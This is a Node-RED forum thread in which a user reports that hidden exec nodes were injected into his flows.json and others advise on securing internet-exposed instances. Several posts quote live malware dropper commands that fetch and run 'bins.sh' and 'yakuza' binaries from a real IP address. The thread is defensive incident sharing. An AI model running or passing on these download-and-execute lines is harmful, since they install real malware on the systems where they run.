Nodered hacked by adding invisible nodes

Hello Everyone

My nodered server has been hacked, by adding some invisible nodes to my flows.json while I was working on it.
I detected it because of a nodered message stating that some nodes where changed without ay action from me. Looked like someone edited another instance of the flows.json file.
Consequence was that server (a RPi) was damaged and had to reformat and resintall everything.

Well, of course I might have made some mistakes in securing my server to allow that, but as my knowledge in security is limited I just wanted to share this (bad) experience.

My point is also trying to understand where could have been the breach, maybe with your help.

My server was secured by https and password. It's working beyond 2 routers, and on each router port forwarding was open.

So may be something comes from here.

But when I modifiy the flows I always make a backup of the existing file before any modification.
So I was able to dig in those backup file to find a trace of these corrupted nodes, and (coincidentally?) corruption started once I installed a discord node to send some notifications.
Before installing that node, no trace of these nodes.

Here are some of the invisible nodes added:

Flow runs exec node with command
"cd /tmp; rm -rf bins.sh; wget http://91.92.249.32/bins/bins.sh; chmod +x bins.sh; sh bins.sh",

[Edited by admin (E1Cid) to remove the risk of someone importing and running flow]

Any idea where could have been the breach. Do you think this could be related to the discord node?

Thanks for your help,
Michael.

!! WARNING READERS: Please no not import the above flow !!

If the instance was accessible to the public, all it takes is a brute force attack, how complicated was your password, was it using words? if so, a simple dictionary cycle will allow access if the attack was prolonged.

What you have posted - has been found many times in unsecured Node RED instances, or instances using sub-par passwords (or none in some cases)

Honestly, https is great, but only to stop eavesdropping, it will not stop an attacker brute forcing the password, especially if using dictionary words.

We usually suggest using a tunnel/VPN type of access.
please see : Safely accessing Node-RED over the Internet

I would suggest reformatting the disk to remove traces, its likely been at work on your system(s)
it might be worth checking over other connected devices on your network

And take your instance off-line! until you have cleaned all your potentially effected systems
And welcome to the forums @iznogoud320 despite the unfortunate circumstance

To me this is a problem.

Who is this IP address?

A file from that IP address is downloaded and despite all your protection, this is an OUTGOING request so most things would let it pass.

This is NOT to detract what @marcus-j-davies has just told you.
But you maybe want to look at the file that it got and what it is doing.

Because if they have got access to a shell (terminal/CLI) you are really fighting a losing battle IMO.

1 Like

Stuff like this...

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd ~ || cd /; cd /tmp; wget http://91.92.249.32/bins/yakuza.x86 -O - > yakuza.x86 || curl -O http://91.92.249.32/bins/yakuza.x86; cat ./yakuza.x86 > ./yakuza; chmod +x ./yakuza || chmod 777 ./yakuza; ./yakuza $1; rm -f ./yakuza ./yakuza.x86

My virus scanner's already going crazy; knows this as Generic.Linux.Medusa.C.

1 Like

This will be an endpoint setup (among many), to distribute bins.sh - which we have seen many times with unsecured (or weak security) Node RED instances

We know that there is at least 1 hacker out there who understands Node-RED so, as others have said, this is not unexpected.

The key things to take away here:

  1. Your system is compromised and if you share logins across multiple systems on your network, they might be compromised as well. Especially critical that you think about possible compromise of or changes to your routers.

  2. As your system is compromised, don't assume that fixing the obvious issues will have re-secured your system.

  3. DO NOT ALLOW ACCESS TO THE EDITOR FROM THE INTERNET! Full-stop, just don't do it. Even if you want to allow access to the Dashboard or some other endpoint, only allow access to the Editor via a secure intermediary such as Cloudflare Zero Trust, NGROK, etc.

5 Likes

Thanks.
Yes I reformated everything and reinstalled from scratch.
The node red password was not an easy one, not a word, combination of letters, numbers and special characters, 11 in total.

So for you, the fact that has started just after installing a discord node, is pure coincidence?
Because in doubt, I'll probably look at another solution to get some notifications.
If you have any idea of the most secure way of doing that, i'm willing to learn. I'll make my own researches anyway.

I am not a security expert - so wouldn't want to sepculate wrongly, but all attacks we have come across, are usually those exposed to the internet.

I don't know enough about discord integration to comment, but for those that do use discord, may lend comments

Well noted, thanks. For the moment everything is restricted to my local network, and plan to use a VPN only for the dashboard

If you were only using basic auth, this isn't hard to break. There is a reason I recommend people use a separate security tool. Let Node-RED do what it is good at but don't force it to do things that really are at the edge of its capabilities. Use something more specialised. The easy way is to use something like Cloudflare Zero Trust which allows up to 50 users even on the free tier.

Not really possible to know to be honest. I think it relatively unlikely but then again, I've not looked at that node. I would generally suspect coincidence.

Which discord node were you using? There appear to be a lot of them!

I'll check for cloudflare. I'll read docuentation thanks.

Which discord node were you using? There appear to be a lot of them!

I'm using node-red-contrib-discord 5.0.0

Which discord node and exactly how did you install it? It is not unknown for malicious nodes to get into npmjs but it is extremely rare.

Telegram is often used for that I believe.

So even a quick review suggests that it would be sensible for you to kill off your existing discord api token and create a new one.

Yes, I agree, Telegram does seem pretty reliable in that sense. Notifications come through pretty rapidly - usually no more than a second or two delay, often less. And security seems pretty good. It is what I've long used.

I'm using node-red-contrib-discord 5.0.0

Ok, I'll check that possibility, thank you

This project is deprecated and no longer maintained actively. Consider migrating to node-red-contrib-discord-advanced.

You're right. Thank you. I got lost in the many different versions

Just out of curiosity: What exactly did you observe?
Was it truely an invisible node?
Was it an exec node on a hidden flow?
You still have a trace of that node - type - thing?
Do you remember? Details could help to harden NR against such ... activities!

ralphwetzel, iznogoud320 posted the flow in the first topic ( I edited it to protect novices), It was a hidden flow that ran a exec node with the command in post 1. If you want to see the flow you can look at the edit history.

1 Like

Yes nodes were exec nodes and function nodes. They were all declared as hidden and positionned at coordinates 9999,9999.

I can forward you all the "malware" nodes if you want, including the targeted script. I don't know exactly what it did to my Pi, but I had to reformat the SD
.
I checked my main win PC on the network, but didn't find anything.
Someone above suggested to check the router, what I did, but I did not find any change.

When the nodes were "injected" in the flow file, the node red editor sent me a notification, stating some nodes were modified. In fact I already had this notification a few days ago, but I didn't pay attention because i had some modified flows to deploy. Big mistake not to review the nodes, that's how I was infected. Yesterday the same notification, but without anything yet modified made me check, and then I discovered the alien nodes.

I then discovered a lot of files in the Pi, probably downloaded by the script, here is an extract of the list:

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd ~ || cd /; cd /tmp; wget http://91.92.249.32/bins/yakuza.x86 -O - > yakuza.x86 || curl -O http://91.92.249.32/bins/yakuza.x86; cat ./yakuza.x86 > ./yakuza; chmod +x ./yakuza || chmod 777 ./yakuza; ./yakuza $1; rm -f ./yakuza ./yakuza.x86
cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd ~ || cd /; cd /tmp; wget http://91.92.249.32/bins/yakuza.arm5 -O - > yakuza.arm5 || curl -O

and file list extract

 /dev/shm/yakuza.spc
/dev/shm/yakuza.m68k
/dev/shm/yakuza.sh4
/dev/shm/yakuza.mipsel
/dev/shm/yakuza.mips
/dev/shm/yakuza.arm7
/dev/shm/yakuza.arm
/dev/shm/yakuza.arm6
/dev/shm/yakuza.arm5
/dev/shm/yakuza.x86

No alien process was found, at least with my (low) level of enquiry, but server was "unstable".

That's it, lesson learned :wink:

To get a better idea of what this attack targets, please can you tell us:

  1. What device and operating system do you run Node-red on?
  2. If Linux, what username did you use to install Node-red?
  3. Does this user have permission to use sudo without a password?
  4. You have obviously changed this password! Can you give us an idea of the old password - how many characters, did it use both upper and lower case, any special characters?
  5. Was it a common "I really should change that" password such as "Password1"?
  6. You had port forwarding enabled - was it internal port 1883?
  7. Was the external forwarded port also 1883? ie 1883 forwarded to 1883?
  8. How long ago did you setup port forwarding?

This sounds like something you did right!